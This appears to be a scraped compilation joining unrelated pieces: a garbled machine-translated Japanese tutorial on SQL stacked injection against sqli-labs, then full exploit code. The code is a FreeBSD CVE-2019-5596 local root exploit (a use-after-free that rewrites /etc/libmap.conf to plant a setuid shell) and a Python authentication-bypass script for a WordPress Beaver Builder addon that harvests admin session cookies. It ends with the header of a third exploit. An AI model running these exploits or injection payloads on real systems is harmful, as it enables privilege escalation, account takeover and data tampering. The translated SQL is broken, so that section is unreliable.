select * from test where id=1; exec master.xp_cmdshell 'ipconfig'

zy4gxjfda4j8710.gif

3.Oracle

上記の紹介では、Oracleはスタックインジェクションを使用できないと述べました。図から、2つのステートメントが同じ行にある場合、エラーが直接報告されることを確認できます。無効な文字。私は次のものを試し続けません。

jw0aba3vczu8711.gif

4.postgresql

(1)新しいテーブルを作成します

select * from user_test;作成テーブルuser_data(id date);

wdky5wawwcd8712.gif

qa1lios2sqj8713.gif

user_dataテーブルが構築されていることがわかります。

(2)上記の新しく作成されたuser_dataテーブルを削除します

select * from user_test; delete from user_data;

dxphbipwx0g8714.gif

(3)クエリデータ

select * from user_test; 1,2,3を選択します。

kdl5p3xh4jt8715.gif

(4)データを変更します

select * from user_test; uspret user_test set name='modify' where name='Zhang San';

yfc4qu4j2028716.gif

0x04 SQLLAPS列の積み重ねられた注入

1.レス-38スタックインジェクション - キャラクタータイプ - 取得

(1)ソースコード

$ sql='select * fromユーザーからid=' $ id 'limit 0,1';

(2)テスト

?id=1 ’; Inserting Into Users(ID、ユーザー名、パスワード)値(「38」、「LESS38」、「Hello」) - +

mysql select * fromユーザー。

+---+-------------------------------+

| ID |ユーザー名|パスワード|

+---+-------------------------------+

| 1 |愚かな|愚かな|

| 2 |アンジェリーナ| i-kill-you |

| 3 |ダミー| P@SSWORD |

| 4 |セキュア| Crappy |

| 5 |愚かな|愚かさ|

| 6 |スーパーマン| genious |

| 7 |バットマン|暴徒!le |

| 8 |管理者|管理者|

| 9 | admin1 | admin1 |

| 10 | admin2 | admin2 |

| 11 | admin3 | admin3 |

| 12 |ダッカン|ダンボ|

| 14 | admin4 | admin4 |

| 38 |レッスル38 |こんにちは|

+---+-------------------------------+

セットの14行(0.00秒)

より少ない38ユーザーが追加されていることがわかりました

?id=1 ’;テーブルを作成します。

?id=1 ’;ドロップテーブルレッスル38;

2.Less -39スタックインジェクション - 整数 - 取得

(1)ソースコード

$ sql='select * fromユーザーからid=$ id limit 0,1';

(2)テスト

?id=1;ユーザーへの挿入(id、username、password)値(「39」、 'less39'、hello ') -

mysql select * fromユーザー。

+---+-------------------------------+

| ID |ユーザー名|パスワード|

+---+-------------------------------+

| 1 |愚かな|愚かな|

| 2 |アンジェリーナ| i-kill-you |

| 3 |ダミー| P@SSWORD |

| 4 |セキュア| Crappy |

| 5 |愚かな|愚かさ|

| 6 |スーパーマン| genious |

| 7 |バットマン|暴徒!le |

| 8 |管理者|管理者|

| 9 | admin1 | admin1 |

| 10 | admin2 | admin2 |

| 11 | admin3 | admin3 |

| 12 |ダッカン|ダンボ|

| 14 | admin4 | admin4 |

| 38 |レッスル38 |こんにちは|

| 39 |レッスル39 |こんにちは|

+---+-------------------------------+

セットの15行(0.00秒)

Less39ユーザーが追加されていることがわかります

?id=1;テーブルを作成します。

?id=1;ドロップテーブルレッスル39;

3.Less -40ブラインド - スタックオーバーフロー

(1)ソースコード

$ sql='select * from users where id=(' $ id ')limit 0,1';

(2)テスト

?id=1 ’);ユーザー(id、username、password)値(「40」、「less40」、「hello」)に挿入- +

mysql select * fromユーザー。

+-----+-------------------------------+

| ID |ユーザー名|パスワード|

+-----+-------------------------------+

| 1 |愚かな|愚かな|

| 2 |アンジェリーナ| i-kill-you |

| 3 |ダミー| P@SSWORD |

| 4 |セキュア| Crappy |

| 5 |愚かな|愚かさ|

| 6 |スーパーマン| genious |

| 7 |バットマン|暴徒!le |

| 8 |管理者|管理者|

| 9 | admin1 | admin1 |

| 10 | admin2 | admin2 |

| 11 | admin3 | admin3 |

| 12 |ダッカン|ダンボ|

| 14 | admin4 | admin4 |

| 38 |レッスル38 |こんにちは|

| 39 |レッスル39 |こんにちは|

| 109 |こんにちは|こんにちは|

| 40 | LESS40 |こんにちは|

+-----+-------------------------------+

セットの17行(0.00秒)

追加されたLess40ユーザーを参照してください

?id=1 ’);テーブルを作成します。

?id=1 ’);ドロップテーブルless40;

4.Less -41ブラインド - スタックオーバーフロー

(1)ソースコード

$ sql='select * fromユーザーからid=$ id limit 0,1';

(2)テスト(ブラインド)

ユーザーテーブルを作成し、フィールド値を上げます

?id=1;ユーザー(id、username、password)値(「110」、「less41」、「hello」)への挿入- +

mysql select * fromユーザー。

+-----+-------------------------------+

| ID |ユーザー名|パスワード|

+-----+-------------------------------+

| 1 |愚かな|愚かな|

| 2 |アンジェリーナ| i-kill-you |

| 3 |ダミー| P@SSWORD |

| 4 |セキュア| Crappy |

| 5 |愚かな|愚かさ|

| 6 |スーパーマン| genious |

| 7 |バットマン|暴徒!le |

| 8 |管理者|管理者|

| 9 | admin1 | admin1 |

| 10 | admin2 | admin2 |

| 11 | admin3 | admin3 |

| 12 |ダッカン|ダンボ|

| 14 | admin4 | admin4 |

| 38 |レッスル38 |こんにちは|

| 39 |レッスル39 |こんにちは|

| 109 |こんにちは|こんにちは|

| 40 | LESS40 |こんにちは|

| 110 | LESS41 |こんにちは|

+-----+-------------------------------+

セットの18行(0.00秒)

追加されたユーザーレッスル41

?id=1;テーブルを作成します。 //テーブルを追加します

?id=1;ドロップテーブルless41; //テーブルを削除します

5.Less-42エラー報告スタックインジェクション - 文字型 - POST

(1)ソースコード(login.php):

$ username=mysqli_real_escape_string($ con1、$ _post ['login_user']);

$ password=$ _post ['login_password'];

$ sql='select * fromユーザーからusername=' $ username 'およびpassword=' $ password '';

投稿プロセス中、パスワード変数はMySQL_REAL_ESCAPE_STRING()関数によって処理されません。したがって、ログインすると、パスワードオプションを攻撃できます。

(2)エラーテスト

テストステートメント:

ユーザー名:任意

パスワード:C ';ドロップテーブルME##MEテーブルを削除します

または:

ユーザー名:任意

パスワード:c ';ユーザーのようにテーブルを作成#//meテーブルを作成する

ログインする前にテーブルを確認してください。

MySQLは表を表示します。

+----------------------------+

| tables_in_security |

+----------------------------+

|メール|

|参照者|

| uagents |

|ユーザー|

+----------------------------+

セットの4行(0.00秒)

ログインする前にテーブルを作成します

ユーザー名:admin

パスワード:c ';ユーザーのようなテーブルless42を作成#

ログインして作成テーブルを表示します

MySQLは表を表示します。

+----------------------------+

| tables_in_security |

+----------------------------+

|メール|

| LESS42 |

|参照者|

| uagents |

|ユーザー|

+----------------------------+

セットの5行(0.00秒)

Less42テーブルが追加され、ログイン中に作成されたSQLステートメントが:であることがわかりました

ユーザーからusername=’admin'およびpassword=’c’から[ユーザーから]を選択します。テーブルを作成します。

ログインする前にテーブルを削除します

ユーザー名:admin

パスワード:c ’;ドロップテーブルレッスル42#

ログイン後に削除テーブルを確認してください

MySQLは表を表示します。

+----------------------------+

| tables_in_security |

+----------------------------+

|メール|

|参照者|

| uagents |

|ユーザー|

+----------------------------+

セットの4行(0.00秒)

6.Less -43エラー報告タイプ-Stack Overflow

(1)ソースコード

$ username=mysqli_real_escape_string($ con1、$ _post ['login_user']);

$ password=$ _post ['login_password'];

$ sql='select * fromユーザーからusername=(' $ username ')およびpassword=(' $ password ')';

(2)テスト

ログインテスト作成テーブルの前

ユーザー名:admin

パスワード:c ');テーブルを作成しますlikeユーザー#

ログイン後に追加されたテーブルを確認してください

MySQLは表を表示します。

+----------------------------+

| tables_in_security |

+----------------------------+

|メール|

| LESS43 |

|参照者|

| uagents |

|ユーザー|

+----------------------------+

セットの5行(0.00秒)

ログインする前に削除テーブルをテストします

ユーザー名:admin

パスワード:c ');ドロップテーブルレッスル43#

ログイン後に削除テーブルを確認してください

MySQLは表を表示します。

+----------------------------+

| tables_in_security |

+----------------------------+

|メール|

|参照者|

| uagents |

|ユーザー|

+----------------------------+

セットの4行(0.00秒)

6.Less -44ブラインド - スタックオーバーフロー

(1)ソースコード

username=mysqlirealescapestring(username=mysqlirealescapestring(con1、post ["loginuser"]); post ["loginuser"]);パスワード=

post ["loginpassword"]; post ["loginpassword"]; sql='select * from users where

username='username'andpassword=' username'andpassword='password' ";

(2)テスト(ブラインド)

ログイン前にテーブルと値を挿入します

ユーザー名:admin

パスワード:a ';ユーザーへの挿入(id、username、password)values(' 144 '、' less44 '、' hello ')#

ログインした後、追加されたテーブルと値を表示します

mysql select * fromユーザー。

+-----+-------------------------------+

| ID |ユーザー名|パスワード|

+-----+-------------------------------+

| 1 |愚かな|愚かな|

| 2 |アンジェリーナ| i-kill-you |

| 3 |ダミー| P@SSWORD |

| 4 |セキュア| Crappy |

| 5 |愚かな|愚かさ|

| 6 |スーパーマン| genious |

| 7 |バットマン|暴徒!le |

| 8 |管理者|管理者|

| 9 | admin1 | admin1 |

| 10 | admin2 | admin2 |

| 11 | admin3 | admin3 |

| 12 |ダッカン|ダンボ|

| 14 | admin4 | admin4 |

| 38 |レッスル38 |こんにちは|

| 39 |レッスル39 |こんにちは|

| 109 |こんにちは|こんにちは|

| 40 | LESS40 |こんにちは|

| 110 | LESS41 |こんにちは|

| 144 | LESS44 |こんにちは|

+-----+-------------------------------+

セットの19行(0.00秒)

7.Less-45エラー報告スタックインジェクション - 文字型 - POST

(1)ソースコード

$ username=mysqli_real_escape_string($ con1、$ _post ['login_user']);

$ password=$ _post ['login_password'];

$ sql='select * fromユーザーからusername=(' $ username ')およびpassword=(' $ password ')';

(2)テスト

ログインする前にテーブルをテストします

ユーザー名:管理者

パスワード: c ');テーブルを作成しますless45 likeユーザー#//less45テーブルを作成します

ログイン後に追加されたテーブルを確認してください

MySQLは表を表示します。

+----------------------------+

| tables_in_security |

+----------------------------+

|メール|

| LESS45 |

|参照者|

| uagents |

|ユーザー|

+----------------------------+

セットの5行(0.00秒)

ログインする前に削除テーブルをテストします

ユーザー名:admin

パスワード:c ');ドロップテーブルレッスル45#

ログイン後に削除テーブルを確認してください

MySQLは表を表示します。

+----------------------------+

| tables_in_security |

+----------------------------+

|メール|

|参照者|

| uagents |

|ユーザー|

+----------------------------+

セットの4行(0.00秒)

# Exploit: FreeBSD-SA-19:02.fd - Privilege Escalation
# Date: 2019-12-30
# Author: Karsten König of Secfault Security
# Twitter: @gr4yf0x
# Kudos: Maik, greg and Dirk for discussion and inspiration
# CVE: CVE-2019-5596
# libmap.conf primitive inspired by kcope's 2005 exploit for Qpopper

#!/bin/sh

echo "[+] Root Exploit for FreeBSD-SA-19:02.fd by Secfault Security"

umask 0000

if [ ! -f /etc/libmap.conf ]; then
    echo "[!] libmap.conf has to exist"
    exit
fi

cp /etc/libmap.conf ./

cat > heavy_cyber_weapon.c << EOF
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <pthread_np.h>
#include <signal.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/cpuset.h>
#include <sys/event.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/sysctl.h>
#include <sys/types.h>
#include <sys/un.h>

#define N_FDS 0xfe
#define N_OPEN 0x2

#define N 1000000
#define NUM_THREADS 400
#define NUM_FORKS 3
#define FILE_SIZE 1024
#define CHUNK_SIZE 1
#define N_FILES 25

#define SERVER_PATH "/tmp/sync_forks"
#define DEFAULT_PATH "/tmp/pwn"
#define HAMMER_PATH "/tmp/pwn2"
#define ATTACK_PATH "/etc/libmap.conf"

#define HOOK_LIB "libutil.so.9"
#define ATTACK_LIB "/tmp/libno_ex.so.1.0"

#define CORE_0 0
#define CORE_1 1

#define MAX_TRIES 500

struct thread_data {
    int fd;
    int fd2;
};

pthread_mutex_t write_mtx, trigger_mtx, count_mtx, hammer_mtx;
pthread_cond_t write_cond, trigger_cond, count_cond, hammer_cond;

int send_recv(int fd, int sv[2], int n_fds) {
    int ret, i;
    struct iovec iov;
    struct msghdr msg;
    struct cmsghdr *cmh;
    char cmsg[CMSG_SPACE(sizeof(int)*n_fds)];
    int *fds;    char buf[1];

    iov.iov_base = "a";
    iov.iov_len = 1;

    msg.msg_name = NULL;
    msg.msg_namelen = 0;
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    msg.msg_control = cmsg;
    msg.msg_controllen = CMSG_LEN(sizeof(int)*n_fds);
    msg.msg_flags = 0;

    cmh = CMSG_FIRSTHDR(&msg);
    cmh->cmsg_len = CMSG_LEN(sizeof(int)*n_fds);
    cmh->cmsg_level = SOL_SOCKET;
    cmh->cmsg_type = SCM_RIGHTS;
    fds = (int *)CMSG_DATA(cmsg);
    for (i = 0; i < n_fds; i++) {
	fds[i] = fd;
    }

    ret = sendmsg(sv[0], &msg, 0);
    if (ret == -1) {
	return 1;
    }

    iov.iov_base = buf;
    msg.msg_name = NULL;
    msg.msg_namelen = 0;
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    msg.msg_control = cmh;
    msg.msg_controllen = CMSG_SPACE(0);
    msg.msg_flags = 0;

    ret = recvmsg(sv[1], &msg, 0);
    if (ret == -1) {
	return 1;
    }

    return 0;
}

int open_tmp(char *path)
{
    int fd;
    char *real_path;

    if (path != NULL) {
	real_path = malloc(strlen(path) + 1);
	strcpy(real_path, path);
    }
    else {
	real_path = malloc(strlen(DEFAULT_PATH) + 1);
	strcpy(real_path, DEFAULT_PATH);
    }

    if ((fd = open(real_path, O_RDWR | O_CREAT)) == -1) {
	perror("[!] open");
	exit(1);
    }

    fchmod(fd, 0700);
    
    return fd;
}

void prepare_domain_socket(struct sockaddr_un *remote, char *path) {
    bzero(remote, sizeof(struct sockaddr_un));
    remote->sun_family = AF_UNIX;
    strncpy(remote->sun_path, path, sizeof(remote->sun_path));
}

int bind_domain_socket(struct sockaddr_un *remote) {
    int server_socket;
    
    if ((server_socket = socket(AF_UNIX, SOCK_DGRAM, 0)) == -1) {
	perror("[!] socket");
	exit(1);
    }

    if (bind(server_socket, 
	     (struct sockaddr *) remote, 
	     sizeof(struct sockaddr_un)) != 0) {
	perror("[!] bind");
	exit(1);
    }

    return server_socket;
}

int connect_domain_socket_client() {
    int client_socket;
    
    if ((client_socket = socket(AF_UNIX, SOCK_DGRAM, 0)) == -1) {
	perror("[!] socket");
	exit(1);
    }

    return client_socket;
}

// Prevent panic at termination because f_count of the
// corrupted struct file is 0 at the moment this function
// is used but fd2 still points to the struct, hence fdrop()
// is called at exit and will panic because f_count will
// be below 0
//
// So we just use our known primitive to increase f_count
void prevent_panic(int sv[2], int fd)
{
    send_recv(fd, sv, 0xfe);
}

int stick_thread_to_core(int core) {
    /* int num_cores = sysconf(_SC_NPROCESSORS_ONLN); */
    /* if (core_id < 0 || core_id >= num_cores) */
    /* 	return EINVAL; */    
    cpuset_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(core, &cpuset);
    
    pthread_t current_thread = pthread_self();    
    return pthread_setaffinity_np(current_thread, sizeof(cpuset_t), &cpuset);
}

void *trigger_uaf(void *thread_args) {
    struct thread_data *thread_data;
    int fd, fd2;

    if (stick_thread_to_core(CORE_0) != 0) {
	perror("[!] [!] trigger_uaf: Could not stick thread to core");
    }
    
    thread_data = (struct thread_data *)thread_args;
    fd = thread_data->fd;
    fd2 = thread_data->fd2;

    printf("[+] trigger_uaf: fd: %d\n", fd);
    printf("[+] trigger_uaf: fd2: %d\n", fd2);
    
    printf("[+] trigger_uaf: Waiting for start signal from monitor\n");
    pthread_mutex_lock(&trigger_mtx);
    pthread_cond_wait(&trigger_cond, &trigger_mtx);

    usleep(40);
    
    // Close to fds to trigger uaf
    //
    // This assumes that fget_write() in kern_writev()
    // was already successful!
    //
    // Otherwise kernel panic is triggered
    //
    // refcount = 2 (primitive+fget_write)
    close(fd);
    close(fd2);
    // refcount = 0 => free
    fd = open(ATTACK_PATH, O_RDONLY);
    // refcount = 1

    printf("[+] trigger_uaf: Opened read-only file, now hope\n");	
    printf("[+] trigger_uaf: Exit\n");
    
    pthread_exit(NULL);
}

void *hammer(void *arg) {
    int i, j, k, client_socket, ret;
    char buf[FILE_SIZE], sync_buf[3];
    FILE *fd[N_FILES];
    struct sockaddr_un remote;

    prepare_domain_socket(&remote, SERVER_PATH);
    client_socket = connect_domain_socket_client();
    strncpy(sync_buf, "1\n", 3);
    
    for (i = 0; i < N_FILES; i++) {
	unlink(HAMMER_PATH);
	if ((fd[i] = fopen(HAMMER_PATH, "w+")) == NULL) {
	    perror("[!] fopen");
	    exit(1);
	}
    }
    
    for (i = 0; i < FILE_SIZE; i++) {
    	buf[i] = 'a';
    }

    pthread_mutex_lock(&hammer_mtx);

    // Sometimes sendto() fails because
    // no free buffer is available
    for (;;) {
	if (sendto(client_socket,
		   sync_buf,
		   strlen(sync_buf), 0,
		   (struct sockaddr *) &remote,
		   sizeof(remote)) != -1) {
	    break;
	}
    }
    
    pthread_cond_wait(&hammer_cond, &hammer_mtx);
    pthread_mutex_unlock(&hammer_mtx);
    
    for (i = 0; i < N; i++) {
	for (k = 0; k < N_FILES; k++) {
	    rewind(fd[k]);   
	}
	for (j = 0; j < FILE_SIZE*FILE_SIZE; j += CHUNK_SIZE) {
	    for (k = 0; k < N_FILES; k++) {
		if (fwrite(&buf[j % FILE_SIZE], sizeof(char), CHUNK_SIZE, fd[k]) < 0) {
		    perror("[!] fwrite");
		    exit(1);
		}
	    }
	    fflush(NULL);
	}
    }
    
    pthread_exit(NULL);
}

// Works on UFS only
void *monitor_dirty_buffers(void *arg) {
    int hidirtybuffers, numdirtybuffers;
    size_t len;

    len = sizeof(int);
    
    if (sysctlbyname("vfs.hidirtybuffers", &hidirtybuffers, &len, NULL, 0) != 0) {
	perror("[!] sysctlbyname hidirtybuffers");
	exit(1);
    };
    printf("[+] monitor: vfs.hidirtybuffers: %d\n", hidirtybuffers);

    while(1) {
	sysctlbyname("vfs.numdirtybuffers", &numdirtybuffers, &len, NULL, 0);
	if (numdirtybuffers >= hidirtybuffers) {
	    pthread_cond_signal(&write_cond);
	    pthread_cond_signal(&trigger_cond);		    
	    printf("[+] monitor: Reached hidirtybuffers watermark\n");
	    break;
	}
    }
    
    pthread_exit(NULL);
}

int check_write(int fd) {
    char buf[256];
    int nbytes;
    struct stat st;

    printf("[+] check_write\n");
    stat(DEFAULT_PATH, &st);
    printf("[+] %s size: %ld\n", DEFAULT_PATH, st.st_size);

    stat(ATTACK_PATH, &st);
    printf("[+] %s size: %ld\n", ATTACK_PATH, st.st_size);
        
    nbytes = read(fd, buf, strlen(HOOK_LIB));
    printf("[+] Read bytes: %d\n", nbytes);
    if (nbytes > 0 && strncmp(buf, HOOK_LIB, strlen(HOOK_LIB)) == 0) {
	return 1;
    }
    else if (nbytes < 0) {
	perror("[!] check_write:read");
	printf("[!] check_write:Cannot check if it worked!");
	return 1;
    }
    
    return 0;
}

void *write_to_file(void *thread_args) {
    int fd, fd2, nbytes;
    int *fd_ptr;
    char buf[256];
    struct thread_data *thread_data;

    if (stick_thread_to_core(CORE_1) != 0) {
	perror("[!] write_to_file: Could not stick thread to core");
    }
    
    fd_ptr = (int *) malloc(sizeof(int));
    
    thread_data = (struct thread_data *)thread_args;
    fd = thread_data->fd;
    fd2 = open(ATTACK_PATH, O_RDONLY);

    printf("[+] write_to_file: Wait for signal from monitor\n");	
    pthread_mutex_lock(&write_mtx);
    pthread_cond_wait(&write_cond, &write_mtx);

    snprintf(buf, 256, "%s %s\n#", HOOK_LIB, ATTACK_LIB);
    nbytes = write(fd, buf, strlen(buf));

    // Reopen directly after write to prevent panic later
    //
    // After the write f_count == 0 because after trigger_uaf()
    // opened the read-only file, f_count == 1 and write()
    // calls fdrop() at the end
    //
    // => f_count == 0
    //
    // A direct open hopefully assigns the now again free file
    // object to fd so that we can prevent the panic with our
    // increment primitive.
    if ((fd = open_tmp(NULL)) == -1)
	perror("[!] write_to_file: open_tmp");
    *fd_ptr = fd;
    
    if (nbytes < 0) {
	perror("[!] [!] write_to_file:write");
    } else if (nbytes > 0) {
	printf("[+] write_to_file: We have written something...\n");
	if (check_write(fd2) > 0)
	    printf("[+] write_to_file: It (probably) worked!\n");
	else
	    printf("[!] write_to_file: It worked not :(\n");
    }

    printf("[+] write_to_file: Exit\n");
    pthread_exit(fd_ptr);
}

void prepare(int sv[2], int fds[2]) {
    int fd, fd2, i;

    printf("[+] Start UaF preparation\n");
    printf("[+] This can take a while\n");
	
    // Get a single file descriptor to send via the socket
    if ((fd = open_tmp(NULL)) == -1) {
    	perror("[!] open_tmp");
    	exit(1);
    }
    
    if ((fd2 = dup(fd)) == -1) {
	perror("[!] dup");
	exit(1);
    }
    
    // fp->f_count will increment by 0xfe in one iteration
    // doing this 16909320 times will lead to
    // f_count = 16909320 * 0xfe + 2 = 0xfffffff2
    // Note the 2 because of the former call of dup() and
    // the first open().
    //
    // To test our trigger we can send 0xd more fd's what
    // would to an f_count of 0 when fdclose() is called in
    // m_dispose_extcontrolm. fdrop() will reduce f_count to
    // 0xffffffff = -1 and ultimately panic when _fdrop() is
    // called because the latter asserts that f_count is 0.
    // _fdrop is called in the first place because
    // refcount_release() only checks that f_count is less or
    // equal 1 to recognize the last reference.
    //
    // If we want to trigger the free without panic, we have
    // to send 0xf fds and close an own what will lead to an
    // fdrop() call without panic as f_count is 1 and reduced
    // to 0 by close(). The unclosed descriptor references now
    // a free 'struct file'.
    for (i = 0; i < 16909320; i++) {
    	if (i % 1690930 == 0) {
    	    printf("[+] Progress: %d%%\n", (u_int32_t) (i / 169093));
    	}
	
        if (send_recv(fd, sv, N_FDS)) {
    	    perror("[!] prepare:send_recv");
    	    exit(1);
    	}
    }
    if (send_recv(fd, sv, 0xf)) {
    	perror("[!] prepare:send_recv");
    	exit(1);
    }
    
    fds[0] = fd;
    fds[1] = fd2;

    printf("[+] Finished UaF preparation\n");
}

void read_thread_status(int server_socket) {
    int bytes_rec, count;
    struct sockaddr_un client;
    socklen_t len;
    char buf[256];
    struct timeval tv;
    
    tv.tv_sec = 10;
    tv.tv_usec = 0;
    setsockopt(server_socket,
	       SOL_SOCKET, SO_RCVTIMEO,
	       (const char*)&tv, sizeof tv);
    
    for (count = 0; count < NUM_FORKS*NUM_THREADS; count++) {
	if (count % 100 == 0) {
	    printf("[+] Hammer threads ready: %d\n", count);
	}
	bzero(&client, sizeof(struct sockaddr_un));
	bzero(buf, 256);
	
	len = sizeof(struct sockaddr_un);
	if ((bytes_rec = recvfrom(server_socket,
				  buf, 256, 0,
				  (struct sockaddr *) &client,
				  &len)) == -1) {
	    perror("[!] recvfrom");
	    break;
	}
    }

    if (count != NUM_FORKS * NUM_THREADS) {
	printf("[!] Could not create all hammer threads, will try though!\n");
    }
}

void fire() {
    int i, j, fd, fd2, bytes_rec, server_socket;
    int sv[2], fds[2], hammer_socket[NUM_FORKS];
    int *fd_ptr;
    char socket_path[256], sync_buf[3], buf[256];
    pthread_t write_thread, trigger_thread, monitor_thread;
    pthread_t hammer_threads[NUM_THREADS];
    pid_t pids[NUM_FORKS];
    socklen_t len;
    struct thread_data thread_data;
    struct sockaddr_un server, client;
    struct sockaddr_un hammer_socket_addr[NUM_FORKS];

    // Socket for receiving thread status
    unlink(SERVER_PATH);
    prepare_domain_socket(&server, SERVER_PATH);
    server_socket = bind_domain_socket(&server);

    // Sockets to receive hammer signal
    for (i = 0; i < NUM_FORKS; i++) {
	snprintf(socket_path, sizeof(socket_path), "%s%c", SERVER_PATH, '1'+i);
	unlink(socket_path);
	prepare_domain_socket(&hammer_socket_addr[i], socket_path);
	hammer_socket[i] = bind_domain_socket(&hammer_socket_addr[i]);
    }

    strncpy(sync_buf, "1\n", 3);
    len = sizeof(struct sockaddr_un);
    
    if (socketpair(PF_UNIX, SOCK_STREAM, 0, sv) == -1) {
	perror("[!] socketpair");
	exit(1);
    }
        
    pthread_mutex_init(&write_mtx, NULL);
    pthread_mutex_init(&trigger_mtx, NULL);
    pthread_cond_init(&write_cond, NULL);
    pthread_cond_init(&trigger_cond, NULL);

    pthread_create(&monitor_thread, NULL, monitor_dirty_buffers, NULL);

    prepare(sv, fds);
    fd = fds[0];
    fd2 = fds[1];

    thread_data.fd = fd;
    thread_data.fd2 = fd2;
    pthread_create(&trigger_thread, NULL, trigger_uaf, (void *) &thread_data);
    pthread_create(&write_thread, NULL, write_to_file, (void *) &thread_data);
    
    for (j = 0; j < NUM_FORKS; j++) {
	if ((pids[j] = fork()) < 0) {
	    perror("[!] fork");
	    abort();
	}
	else if (pids[j] == 0) {
	    pthread_mutex_init(&hammer_mtx, NULL);
	    pthread_cond_init(&hammer_cond, NULL);
	    
	    close(fd);
	    close(fd2);

	    /* Prevent that a file stream in the hammer threads
             * gets the file descriptor of fd for debugging purposes
	     */
	    if ((fd = open_tmp("/tmp/dummy")) == -1)
		perror("[!] dummy");
	    if ((fd2 = open_tmp("/tmp/dummy2")) == -1)
		perror("[!] dummy2");
	    printf("[+] Fork %d fd: %d\n", j, fd);
	    printf("[+] Fork %d fd2: %d\n", j, fd2);
	    
	    for (i = 0; i < NUM_THREADS; i++) {
	    	pthread_create(&hammer_threads[i], NULL, hammer, NULL);
	    }

	    printf("[+] Fork %d created all threads\n", j);
	    
	    if ((bytes_rec = recvfrom(hammer_socket[j],
				      buf, 256, 0,
				      (struct sockaddr *) &client,
				      &len)) == -1) {
		perror("[!] accept");
		abort();
	    }

	    pthread_cond_broadcast(&hammer_cond);
	    
	    for (i = 0; i < NUM_THREADS; i++) {
	    	pthread_join(hammer_threads[i], NULL);
	    }

	    pthread_cond_destroy(&hammer_cond);
	    pthread_mutex_destroy(&hammer_mtx);

	    exit(0);
	} else {
	    printf("[+] Created child with PID %d\n", pids[j]);	    
	}
    }    

    read_thread_status(server_socket);
    printf("[+] Send signal to Start Hammering\n");
    for (i = 0; i < NUM_FORKS; i++) {
	if (sendto(hammer_socket[i],
		   sync_buf,
		   strlen(sync_buf), 0,
		   (struct sockaddr *) &hammer_socket_addr[i],
		   sizeof(hammer_socket_addr[0])) == -1) {
	    perror("[!] sendto");
	    exit(1);
	}
    }
        
    pthread_join(monitor_thread, NULL);
    for (i = 0; i < NUM_FORKS; i++) {
	kill(pids[i], SIGKILL);
	printf("[+] Killed %d\n", pids[i]);
    }

    pthread_join(write_thread, (void **) &fd_ptr);    
    pthread_join(trigger_thread, NULL);
    
    pthread_mutex_destroy(&write_mtx);
    pthread_mutex_destroy(&trigger_mtx);
    pthread_cond_destroy(&write_cond);
    pthread_cond_destroy(&trigger_cond);

    printf("[+] Returned fd: %d\n", *fd_ptr);
    prevent_panic(sv, *fd_ptr);

    // fd was acquired from write_to_file
    // which allocs a pointer for it
    free(fd_ptr);
}

int main(int argc, char **argv)
{
    setbuf(stdout, NULL);
    
    fire();

    return 0;
}

EOF

cc -o heavy_cyber_weapon -lpthread heavy_cyber_weapon.c

cat > program.c << EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init()
{
  if (!geteuid())
    execl("/bin/sh","sh","-c","/bin/cp /bin/sh /tmp/xxxx ; /bin/chmod +xs /tmp/xxxx",NULL);
}

EOF

cc -o program.o -c program.c -fPIC
cc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0

echo "[+] Firing the Heavy Cyber Weapon"
./heavy_cyber_weapon
su

if [ -f /tmp/xxxx ]; then
    echo "[+] Enjoy!"
    echo "[+] Do not forget to copy ./libmap.conf back to /etc/libmap.conf"
    /tmp/xxxx
else
    echo "[!] FAIL"
fi
            
# Exploit Title: Wordpress Ultimate Addons for Beaver Builder 1.2.4.1 - Authentication Bypass
# Date: 2019-12-21
# Exploit Authors: Raphael Karger & Nathan Hrncirik
# Vendor Homepage: https://www.ultimatebeaver.com/
# Version: Ultimate Addons for Beaver Builder < 1.2.4.1
'''

Requirements:
    * Valid Admin/User Email Needs to be Known
    * Social Media Login Form has to be Embedded in the Specified URL

'''

#!/usr/bin/python3

import requests
import urllib.parse
import json
import argparse

banner = r''' ____ ___  _____ _______________________________              .__         .__  __   
|    |   \/  _  \\______   \______   \_   _____/__  _________ |  |   ____ |__|/  |_ 
|    |   /  /_\  \|    |  _/|    |  _/|    __)_\  \/  /\____ \|  |  /  _ \|  \   __\
|    |  /    |    \    |   \|    |   \|        \>    < |  |_> >  |_(  <_> )  ||  |  
|______/\____|__  /______  /|______  /_______  /__/\_ \|   __/|____/\____/|__||__|  
                \/       \/        \/        \/      \/|__|                         
Ultimate Addons for Beaver Builder < 1.2.4.1 - Authentication Bypass
'''

class exploit(object):
    def __init__(self, page, email):
        self.page = page
        self.sess = requests.Session()
        self.email = email
        self.nonce = False

    def get_nonce(self):
        try:
            nonce_req = self.sess.get(self.page)
            if nonce_req.text.find("data-nonce=") != -1:
                self.nonce = nonce_req.text.split("data-nonce=")[1].split(">")[0]
        except Exception as e:
            print("Nonce Error: {}".format(e))

    def auth_bypass(self):
        try:
            schema = urllib.parse.urlparse(self.page)
            resp = self.sess.post("{}://{}/wp-admin/admin-ajax.php".format(schema.scheme, schema.netloc), data={
                    "action" : "uabb-lf-google-submit",
                    "name" : "raphaelrocks",
                    "email" : self.email,
                    "nonce" : self.nonce
            })
            if resp.status_code == 200:
                print("Exploit Successful, Use the Cookies to Login: \n{}".format(
                    json.dumps(self.sess.cookies.get_dict(), indent=4)
                ))
        except Exception as e:
            print("Auth Bypass Error: {}".format(e))

    def begin_exploit(self):
        self.get_nonce()
        if self.nonce:
            print("Found Nonce: {}".format(self.nonce))
            self.auth_bypass()
        else:
            print("Failed to Gather Nonce")

if __name__ == "__main__":
    print(banner)
    parser = argparse.ArgumentParser()
    parser.add_argument("-e", "--email", dest="email", help="Email of Administrator User/Privileged User", required=True)
    parser.add_argument("-u", "--url", dest="url", help="URL With Social Media Login Form", required=True)
    args = parser.parse_args()
    ex = exploit(args.url, args.email)
    ex.begin_exploit()
            
# Exploit Title: Shopping Portal ProVersion 3.0 - Authentication Bypass
# Exploit Author: Metin Yunus Kandemir (kandemir)
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/shopping-portal-free-download/
